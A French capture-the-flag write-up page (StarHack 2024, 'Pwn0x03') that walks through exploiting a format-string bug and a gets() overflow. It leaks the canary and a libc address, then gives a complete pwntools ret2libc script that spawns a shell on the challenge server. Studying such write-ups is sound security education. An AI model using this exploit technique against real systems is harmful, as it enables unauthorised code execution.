ThaySan
  • 👋Bienvenue
    • Avant-propos
  • 🚩CTF & Writeups
    • 2025 | EC2
      • Let's Crax
    • 2025 | HackDay
      • 🔑Cryptographie
        • Drunk Christmas
        • Find Eve 1
        • Well hidden message - Standard Code Encryption
      • 🔎Forensic
        • Copperwire Extraction
        • Distracted user
        • I believe you can't fly
      • 🧠Misc
        • Hello Steve
      • 💾Programmation
        • Lonely bot
        • Lonely bot #2
        • Lonely bot #3
        • Useless Animals Sorting
        • Who cares about SSI anyway ?
      • ⚙️Reverse
        • Just dig
        • Rusty_rev
        • The Cogs of Blackmail
      • 🎭Steganographie
        • It says a lot when there is no music
        • Mona LSB
        • Well hidden message - Insignificant blue
      • 🌐Web
        • Super Website Verificator 3000
        • The analytical engine leak
        • The Watchful Gears: Uncover the Secrets Within
        • Your region's finest
    • 2024 | Efrei - CyberNight
      • 🔑Cryptographie
        • Clavier spécial
        • Le futur
        • Securechain 30.0
        • Cascade
        • Shared Flag
        • Weird Algorithm
      • 🧊Minecraft
        • Introduction
        • Non aux Bouquins Trafiqués
        • Redstone Gold Block
      • 💾Programmation
        • Captcha 1.0
        • Intro à la prog
        • Captcha 2.0
      • ⚙️Reverse
        • Reverse the Reverse
        • Find me if you can
        • HuGO Decrypt
        • Kitten eXORcism
        • M30W Vault Tech
        • The Ugandan Labyrinth
      • 🎭Stéganographie
        • Le message
        • bon Le ordre
        • COD FORFLAG
        • Mauvaise note
        • Bruit
        • Un (un ?) drôle de QR code
        • Randonnée Guillerette à Bordeaux
      • 💻Système
        • Marche-pied
        • Escabot
        • régulation des Données et des Normes de Sécurité
      • 🌐Web
        • cybernight.zip
        • Mon champion préféré
        • Co(mpressed)okies
        • Gitty Mistake
        • JWT Kiddo
        • Parseur Farceur
      • L'enquête
        • L'enquête 2/6
        • L'Enquête 1/6
        • Bienvenue, enquêteur
    • 2024 | Star-Hack
      • 🔑Cryptographie
        • César, mais pas César
        • Double ennui
        • Langage secret
        • Quadratique Mystérieuse
        • ReSultAt
        • Sup3r S3cr3t
        • Warmup
      • 🔎Forensic
        • Cache-cache
        • Fichier ZIP protégé par mot de passe
        • HEADER
        • Investigation 1
        • Investigation 2
      • 🧠Misc
        • B4l4d3 Urb41n3
        • Bruhh, c'est quoi ça ?
        • Cut13
        • Pika Pika
      • 😈Pwn
        • Pwn0x01
        • Pwn0x02
        • Pwn0x03
      • ⚙️Reverse
        • Assembly
        • Rev0x00
        • Rev0x01
        • Rev0x02
      • 🌐Web
        • Clone Udemy
        • Flask
        • Guess_The_Passcode
        • PHP
        • Tickets
        • Usine de Cookies
    • 2024 | ECW
      • 🔑Cryptographie
        • Course hipPIN
    • 2024 | CTFREI Intro
      • 🔑Cryptographie
        • AES Intro
        • Aléatoire
        • Game of Luck
        • RSA Intro
        • RSA2
        • RSA3
      • 🔎Forensic
        • Mais qui est le photographe ?
        • Mais où est passé mon flag ?
        • Mémoire 1/4
        • Mémoire 2/4
        • Mémoire 3/4
        • Mémoire 4/4
        • My computer is talking
      • 📚OSINT
        • Avion ✈
        • Geoint
        • Google!
        • Googlint
        • Le pivot
        • Le temps commence maintenant
        • Sacré dossier
        • Socint
      • 💾Programmation
        • Try Me
        • Answer Me
        • Eval Me
        • Time Based
      • 😈Pwn
        • BOF Intro
        • Shop
        • BOF 2
        • BOF win()
      • ⚙️Reverse
        • CrackMe1
        • CrackMe2
        • CrackMe3
        • Hidden...
        • Something changed?
        • ZZZ
      • 🎭Stéganographie
        • Cybernight être comme
        • Joli paysage
        • Petit poisson
        • StegHide 'n' Seek
        • Un canard pas comme les autres
      • 💻Système
        • Bash Jail
        • Bash Jail Revenge
        • BrokenBin
        • GTFO Of Here
        • Pyjail
        • Pyjail Revenge
        • Strange input, right?
      • 🌐Web
        • SQLi
        • POST This Money
        • Give me my Flask PIN
        • Access
        • Render
        • RenderV2
        • Touchy
    • 2024 | DefCamp
      • 🔑Cryptographie
        • conv
        • oracle-srl
        • ctr
      • 🔎Forensic
        • i-got-a-virus
        • Alternating
        • call-me-pliz
      • 🧠Misc
        • pyterm
      • 📱Mobile
        • mobisec
      • 📚OSINT
      • 😈Pwn
      • ⚙️Reverse
      • 🕵️Traque
      • 🌐Web
        • noogle
        • production-bay
    • 2024 | 404CTF
      • 🔑Cryptographie
        • Bébé nageur
        • Le petit bain
        • Poor Random Number Generator [1/2]
        • Plongeon Rapide Super Artistique
        • J'éponge donc j'essuie
        • Poor Random Number Generator [2/2]
        • La Seine
        • J'ai glissé chef !
        • SEA - La face cachée de l'Iceberg
      • 🔎Forensic
        • Le tir aux logs
        • Darts Bank
        • Vaut mieux sécuriser que guérir
        • De bons croissants au beurre
        • Poids Raw vs. Cours Jette [1/3]
      • 🔌Hardware
        • Serial killer
        • Le soulevé de GND
        • Comment est votre modulation ? [1/2]
        • Sea side channel [1/4] - Introduction
        • Comment est votre modulation ? [2/2]
        • Sea side channel [2/4] - Reconnaissance
        • Sea side channel [3/4] - Mais où sont les triggers ?
      • 🤖IA
        • Du poison [1/2]
        • Du poison [2/2]
        • Des portes dérobées
      • 🧠Misc
        • Discord
        • De la friture sur la ligne
        • Bienvenue
        • Revers(ibl)e Engineering [0/2]
      • 📚OSINT
        • Légende
        • Not on my watch
        • Secret Training [1/2]
      • 😈Pwn
        • Pseudoverflow
        • Jean Pile
        • Mordu du 100m
        • Antismash
      • 🐈‍⬛Quantique
        • Des trains superposés
        • De l'écoute, pas très discrète
        • De la multiplicité des problèmes
      • ⚙️Reverse
        • ⭐Échauffement
        • ⭐Intronisation du CHAUSSURE
        • ⭐Bugdroid Fight [1/2]
        • ⭐Revers(ibl)e Engineering [1/2]
        • ⭐Bugdroid Fight [2/2]
        • ⭐Nanocombattants
        • ⭐Revers(ibl)e Engineering [2/2]
        • Le Tableau Noir
      • 🎭Stéganographie
        • ⭐L'absence
        • ⭐Regarder en stéréo
        • ⭐La Barre Fixe
        • ⭐Le grand écart
        • ⭐La chute
      • 🌐Web
        • ⭐Vous êtes en RETARD
        • ⭐Le match du siècle [1/2]
        • ⭐Exploit mag
        • ⭐Le match du siècle [2/2]
        • ⭐LE GORFOU 42
        • ⭐La boutique officielle
    • 2024 | CTFREI - Bordeaux
      • 🔑Cryptographie
        • zzz
      • 📚OSINT
        • Alexis Dumas
        • Back to the bureau
        • Dr Octopus
        • Folie et ambition
        • GeoGuessr
        • Hugo Nelots : prélude
        • La fin ?
        • La fuite Dumas
        • Un réseau suspect
      • 💾Programmation
        • Eval me 1
        • Eval me 2
        • Time Based
      • 💻Système
        • Broken Binary 1
        • Broken Binary 2
        • GTFO of here
        • Pyjail 1
        • Pyjail 2
        • Pyjail 3
        • Pyjail 4
      • 🌐Web
        • Au commencement était le verb
        • Becadmin
        • PHP Juggler
    • 2024 | HTB - Cyber Apocalypse Challenges
      • 🔗Blockchain
        • Lucky Faucet
        • Recovery
        • Russian Roulette
      • 🔑Cryptographie
        • Blunt
        • Dynastic
        • Iced TEA
        • Makeshift
        • Primary Knowledge
      • 🔎Forensic
        • An unusual sighting
        • Data Siege
        • Fake Boost
        • Game Invitation
        • It Has Begun
        • Phreaky
        • Pursue The Tracks
        • Urgent
      • 🔌Hardware
        • BunnyPass
        • Flash-ing Logs
        • Maze
        • Rids
        • The PROM
      • 🧠Misc
        • Character
        • Cubicle Riddle
        • Path of Survival
        • Stop Drop and Roll
        • Unbreakable
        • Were Pickle Phreaks
        • Were Pickle Phreaks Revenge
      • 😈Pwn
        • Delulu
        • Pet Companion
        • Tutorial
        • Writing on the Wall
      • ⚙️Reverse
        • BoxCutter
        • Crushing
        • FollowThePath
        • LootStash
        • MazeOfPower
        • Metagaming
        • PackedAway
        • QuickScan
      • 🌐Web
        • Flag Command
        • KORP Terminal
        • Labyrinth Linguist
        • LockTalk
        • Testimonial
        • TimeKORP
    • 2024 | UNbreakable
      • 🔑Cryptographie
        • start-enc
        • traffic-e
      • 🔎Forensic
        • easy-hide
        • password-manager-is-a-must
      • 🧠Misc
        • rfc-meta
      • 📱Mobile
        • flagen
        • improper-configuration
      • 📡Network
        • wifi-basic
        • wifiland
      • 📚OSINT
        • persistent-reccon
        • safe-password
      • 😈Pwn
        • intro-to-assembly
      • ⚙️Reverse
        • fake-add
      • 🎭Stéganographie
        • secrets-of-winter
      • 🌐Web
        • pygment
        • sided-curl
        • you-can-trust-me
    • 2023 | EFREI - CyberNight
      • 📚OSINT
        • Invest Now !
      • 😈Pwn
        • NSA Call Converter
      • ⚙️Reverse
        • CryptoVirus
        • WebChaussettes
      • 🌐Web
        • DoctoLeak
    • 2023 | Flag4All
      • 🔑Cryptographie
        • Aes IV
        • Crypt my loop
        • Kentucky fried chicken
        • RSA primes
        • Xor
    • 2022 | EFREI - CyberNight
      • 🔑Cryptographie
        • Coupé-décalé
        • ExFILEtration
        • Il s'est baissé ou pas
        • J'ai pas roté
        • Les allemands !
        • RSA Strong Prime generator
      • 🔎Forensic
        • Bomberman 1/2
        • Bomberman 2/2
        • Magic
        • Peu importe le chemin
        • Sniff sniff
        • Souvenir
        • Xray
      • 🔌Hardware
        • Class4
        • Find me 2/3
        • Identify 1/3
        • Yo listen 3/3
      • 🧠Misc
        • Et je tombe tombe tombe
        • Des yeux partout
        • RiGOLe
        • Roomba tricheur
        • Survey
        • Tinder
      • 💾Programmation
        • Repeat
        • Startup
        • Timing
      • ⚙️Reverse
        • Auth 1
        • Auth2
        • Auth3
        • Cryptoroomba
        • Tenet
      • 🎭Stéganographie
        • 50 shades of stephane legar
        • Chess master
        • Deviens champion sers toi de tout ce que tu as appris
        • Drifting in the bits
        • Pyramide
        • Spirale
      • 🌐Web
        • Ah bah c'est du propre
        • Cooking roomba
        • Leaderboard
        • vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
Propulsé par GitBook
Sur cette page
  • Challenge
  • Solution
  • Patch du binaire
  • Leak des valeurs - Canary
  • Leak des valeurs - LIBC
  • Ret2Libc avec ropchain

Cet article vous a-t-il été utile ?

  1. CTF & Writeups
  2. 2024 | Star-Hack
  3. Pwn

Pwn0x03

PrécédentPwn0x02SuivantReverse

Dernière mise à jour il y a 6 mois

Cet article vous a-t-il été utile ?

Flag: StarHack{fms_bUG5_ar3_mY_favorites_wh4t_ab0ut_y0u?ASDSAKDASDKASFFDSASDFSA}

Challenge

Description


secret storage service ? is it even secure ?

nc 35.180.44.229 1237

Ce challenge tourne sur un docker et n'est pas disponible

Solution

Le binaire n'est composé que de sa fonction main :

int main(void) {
  long in_FS_OFFSET;
  char secret [0x40];
  char identity [0x58];
  long canary;
  
  canary = *(long *)(in_FS_OFFSET + 0x28);
  init_buffering();
  
  puts("----------------------------");
  puts("-- Secret storage service --");
  puts("----------------------------");
  puts("Identify your self : ");
  printf(" > ");
  read(0x0,identity,0x50);
  printf("Welcome : ");
  printf(identity);
  puts("----------------------------");
  printf("type your secret : ");
  gets(secret);
  
  if (canary != *(long *)(in_FS_OFFSET + 0x28)) __stack_chk_fail();
  
  return 0;
}

La vulnérabilité réside dans 2 choses :

  • ligne 16 : printf permet d'envoyer une chaîne contenant du formatage et ainsi de leak des données en mémoire

  • ligne 20 : gets ne vérifie pas la longueur de notre input, on peut donc faire un BufferOverflow

┌──(kali㉿kali)-[~/StarHack 2024/pwn0x03]
└─$ checksec task   
[*] '/StarHack 2024/pwn0x03/task'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Le binaire à toutes les protections activées :

  • RELRO (Relocation Read-Only) est une protection qui rend la table GOT en lecture seule, empêchant ainsi les attaques de modification d’adresses de fonctions.

  • Canary est une valeur aléatoire placée avant le retour de pile pour détecter et empêcher les débordements de tampon.

  • NX (No-eXecute) est une protection qui marque certaines zones mémoire comme non exécutables, empêchant l'exécution de code injecté dans la pile ou le tas.

  • PIE (Position-Independent Executable) est une protection qui charge le binaire à une adresse aléatoire en mémoire à chaque exécution, rendant plus difficile la prédiction des adresses pour les attaques d’exploitation.

En sachant qu'on nous donne le fichier de la libc en même temps, c'est assez clair :

  1. Se servir de printf pour leak le canary pour le remettre à la bonne place après notre BoF.

  2. Se servir de printf pour leak l'adresse de la libc.

  3. Faire une ropchain pour lancer un shell depuis la libc grâce à system ou execve.

Patch du binaire

Il suffit de mettre notre binaire et notre librairie dans le même dossier, puis on lance simplement

┌──(kali㉿kali)-[~/StarHack 2024/pwn0x03]
└─$ ls -al                                                                                                                                             127 ⨯
total 2012
drwxr-xr-x 2 kali kali    4096 Nov 10 07:15 .
drwxr-xr-x 4 kali kali    4096 Nov 10 00:18 ..
-rw------- 1 kali kali 2029592 Nov 10 00:17 libc.so.6
-rwx--x--x 1 kali kali   14472 Nov 10 00:17 task

┌──(kali㉿kali)-[~/StarHack 2024/pwn0x03]
└─$ cargo install pwninit

┌──(kali㉿kali)-[~/StarHack 2024/pwn0x03]
└─$ export PATH=$PATH:~/.cargo/bin
                                                                                                                                                             
┌──(kali㉿kali)-[~/StarHack 2024/pwn0x03]
└─$ pwninit
bin: ./task
libc: ./libc.so.6

fetching linker
https://launchpad.net/ubuntu/+archive/primary/+files//libc6_2.31-0ubuntu9.9_amd64.deb
unstripping libc
https://launchpad.net/ubuntu/+archive/primary/+files//libc6-dbg_2.31-0ubuntu9.9_amd64.deb
warning: failed unstripping libc: libc deb error: failed to find file in data.tar
setting ./ld-2.31.so executable
copying ./task to ./task_patched
running patchelf on ./task_patched
writing solve.py stub

┌──(kali㉿kali)-[~/StarHack 2024/pwn0x03]
└─$ ls -al                                                                                                                                             130 ⨯
total 2228
drwxr-xr-x 2 kali kali    4096 Nov 10 07:17 .
drwxr-xr-x 4 kali kali    4096 Nov 10 00:18 ..
-rwxr-xr-x 1 kali kali  191504 Nov 10 07:17 ld-2.31.so
-rw------- 1 kali kali 2029592 Nov 10 00:17 libc.so.6
-rwxr-xr-x 1 kali kali     432 Nov 10 07:17 solve.py
-rwx--x--x 1 kali kali   14472 Nov 10 00:17 task
-rwx--x--x 1 kali kali   20497 Nov 10 07:17 task_patched

À partir de maintenant, on ne travaillera que sur task_patched.

Leak des valeurs - Canary

Commençons par trouver le canary dans la mémoire. On va break à 0x55555555526a (environ ligne 8 dans notre pseudo code C), c'est-à-dire quand il est mis dans RAX pour voir sa valeur.

gef➤  b *0x55555555526a
Breakpoint 1 at 0x55555555526a

Puisqu'on peut rentrer un maximum de 88 caractères dans printf, on va lancer plusieurs fois le binaire avec des formatages différents jusqu'à trouver notre canary dedans.

gef➤  r
Breakpoint 1, 0x000055555555526a in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0xbda51d63af3c1a00
$rbx   : 0x00555555555340  →   endbr64 
$rcx   : 0x00555555555340  →   endbr64
[...]
gef➤  c
Continuing.
----------------------------
-- Secret storage service --
----------------------------
Identify your self : 
 > %1$p %2$p %3$p %4$p %5$p %6$p %7$p %8$p %9$p %10$p
Welcome : 0x7fffffffb670 (nil) (nil) 0xa 0xa (nil) 0x7fffffffefb8 (nil) (nil) (nil)

Ok, ici notre canary est 0xbda51d63af3c1a00, on ne l'a pas dans nos valeurs, on continue. Je skip de %11$p à %20$p car il n'y est pas non plus...

gef➤  r
Breakpoint 1, 0x000055555555526a in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x4e5a7598b83abb00
$rbx   : 0x00555555555340  →   endbr64 
$rcx   : 0x00555555555340  →   endbr64
[...]
gef➤  c
Continuing.
----------------------------
-- Secret storage service --
----------------------------
Identify your self : 
 > %21$p %22$p %23$p %24$p %25$p %26$p %27$p %28$p %29$p %30$p
Welcome : 0x55550a702430 (nil) 0x555555555100 0x7fffffffdea0 0x4e5a7598b83abb00 (nil) 0x7ffff7df9083 0x200000021 0x7fffffffdea8 0x1f7fbd7a0

Ici notre canary est 0x4e5a7598b83abb00. Bingo, ça correspond à %25$p ! On peut désormais leak la valeur du canary pour la replacer plus tard au bon endroit et faire croire au programme que tout va bien.

Leak des valeurs - LIBC

On va réutiliser les valeurs qu'on a fait fuiter pour trouver le canary. Toutes les valeurs du type 0x7fffff... peuvent être l'adresse d'une fonction, on va donc toutes les tester avec la commande info symbol. (il existe d'autres façons de faire bien sûr).

gef➤  info symbol 0x55550a702430 
No symbol matches 0x55550a702430.
gef➤  info symbol 0x7fffffffb670 
No symbol matches 0x7fffffffb670.
gef➤  info symbol 0x7fffffffefb8 
No symbol matches 0x7fffffffefb8.
gef➤  info symbol 0x7fffffffdea0 
No symbol matches 0x7fffffffdea0.
gef➤  info symbol 0x7ffff7df9083 
__libc_start_main + 243 in section .text of ./libc.so.6

Et hop ! Notre %27$p mène bien vers une adresse appartenant à la libc. Puisque l'adresse de base de la libc change à chaque lancement, mais que l'offset de cette adresse qu'on a leak est toujours la même par rapport à l'adresse de base, on pourra en déduire celle-ci !

gef➤  vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x00555555554000 0x00555555555000 0x00000000000000 r-- /StarHack 2024/pwn0x03/task_patched
0x00555555555000 0x00555555556000 0x00000000001000 r-x /StarHack 2024/pwn0x03/task_patched
0x00555555556000 0x00555555557000 0x00000000002000 r-- /StarHack 2024/pwn0x03/task_patched
0x00555555557000 0x00555555558000 0x00000000002000 r-- /StarHack 2024/pwn0x03/task_patched
0x00555555558000 0x0055555555b000 0x00000000003000 rw- /StarHack 2024/pwn0x03/task_patched
0x007ffff7dd5000 0x007ffff7df7000 0x00000000000000 r-- /StarHack 2024/pwn0x03/libc.so.6
0x007ffff7df7000 0x007ffff7f6f000 0x00000000022000 r-x /StarHack 2024/pwn0x03/libc.so.6
[...]

Dans notre programme, l'adresse de base est 0x007ffff7dd5000. Nous avons leak l'adresse 0x7ffff7df9083. Le décalage est donc de 0x7ffff7df9083 - 0x007ffff7dd5000 =0x24083.

Ret2Libc avec ropchain

Maintenant que l'on peut déduire l'adresse de la libc et le canary, place à l'exploitation de gets. On commence par chercher combien de caractères il faut mettre pour arriver au canary, pour ça on part sur des patterns avec cyclic et on break à 0x55555555532d, pendant la vérification du canary pour connaître le pattern qui est dedans (c'est dans RCX qu'il faut regarder) :

gef➤  b *0x55555555532d
Breakpoint 2 at 0x55555555532d
gef➤  shell cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
gef➤  r
----------------------------
-- Secret storage service --
----------------------------
Identify your self : 
 > test
Welcome : test
----------------------------
type your secret : aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab  

Breakpoint 2, 0x000055555555532d in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0               
$rbx   : 0x00555555555340  →   endbr64 
$rcx   : 0x6261616f6261616e ("naaboaab"?)
$rdx   : 0x0
[...]

gef➤  shell cyclic -l "naab"
152

On voit que c'est naaboaab qui est dans RCX, en cherchant l'offset, on trouve 152. Il faut donc 152 caractères avant d'arriver à remplir le canary.

Juste après le canary se situe EBP, il faut 8 octets et on s'en fout, donc on le remplira avec n'importe quoi.

Ensuite, ce sera RIP, c'est là que commence la Ropchain. Voici l'exploit au complet :

from pwn import *

p = ELF("./task_patched")
libc = ELF("./libc.so.6")

context.binary = p


def conn():
    if args.LOCAL:
        r = process([p.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("35.180.44.229", 1237)

    return r


def main():
    # C'est le décalage qui permettra de déduire l'adresse de la libc côté serveur
    local_libc_address = 0x007ffff7dd5000
    local_leak_address = 0x7ffff7df9083
    leak_offset = local_leak_address - local_libc_address   # 0x24083

    # On se connecte au serveur
    r = conn()
    r.recvuntil(b'> ')

    # Leak du canary et de l'adresse appartenant à la libc
    r.sendline(b'%25$p %27$p')
    
    line = r.recvline().decode().strip()
    values = line.split(' : ')[1].split(' ')
    canary = int(values[0], 16)
    leak_address = int(values[1], 16)
    
    # On déduit l'adresse de la libc à partir de l'adresse leak et son offset fixe
    libc.address = leak_address - leak_offset
    
    # Maintenant qu'on sait où est la libc, on peut déduire l'adresse de tout ce qu'elle contient 
    # On récupère l'adresse de la fonction system
    system_address = libc.symbols['system']
    # On récupère la chaîne de caractère /bin/sh qui est dans la libc
    bin_sh_address = next(libc.search(b'/bin/sh'))
    
    # Construction de la ropchain
    rop = ROP(libc)
    
    # Avant d'appeler system(), il faut mettre le paramètre "/bin/sh" dans RDI
    # Donc on cherche un gadget pop rdi; ret;
    pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
    
    # On a besoin d'un ret pour aligner la stack
    # Il suffira de l'appeler avant system 
    # Ref : https://ir0nstone.gitbook.io/notes/binexp/stack/return-oriented-programming/stack-alignment
    ret = rop.find_gadget(['ret'])[0]

    r.recvuntil(b'secret : ')
    payload = b''.join([
        b'A' * 152,           # Remplissage de la mémoire jusqu'au canary
        p64(canary),          # On remet le canary leak au bon endroit
        b'B' * 8,             # On rempli RBP (valeur quelconque, osef)
        p64(ret),             # Alignement de la stack
        p64(pop_rdi),         # On place /bin/sh dans RDI
        p64(bin_sh_address),
        p64(system_address)   # Appelle de system("/bin/sh")
    ])
    r.sendline(payload)
    
    # On récupère la main sur le shell qu'on vient de créer
    r.interactive()


if __name__ == "__main__":
    main()
┌──(kali㉿kali)-[~/StarHack 2024/pwn0x03]
└─$ python3 solve.py    
[*] '/StarHack 2024/pwn0x03/task_patched'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'.'
[*] '/StarHack 2024/pwn0x03/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 35.180.44.229 on port 1237: Done
[*] Loaded 196 cached gadgets for './libc.so.6'
[*] Switching to interactive mode
$ ls -al
total 68
drwxr-xr-x 1 root root  4096 Oct 31 01:26 .
drwxr-xr-x 1 root root  4096 Oct 18 00:32 ..
-rw-r--r-- 1 root root   220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 root root  3771 Feb 25  2020 .bashrc
-rw-r--r-- 1 root root   807 Feb 25  2020 .profile
-rw-rw-r-- 1 root root    75 Oct 31 01:26 flag.txt
-rwxrwxr-x 1 root root 14472 Oct 18 00:25 task
-rwxrwxr-x 1 root root 18744 Oct 18 00:25 ynetd
$ cat flag.txt
StarHack{fms_bUG5_ar3_mY_favorites_wh4t_ab0ut_y0u?ASDSAKDASDKASFFDSASDFSA}

Pour utiliser la librairie fournie et éviter les problèmes de compatibilité, il faut patcher notre binaire. Pour ça, j'utilise . Le tool nécessite mais absolument rien de compliqué à installer.

🚩
😈
pwninit
patchelf
845KB
pwn0x03.zip
archive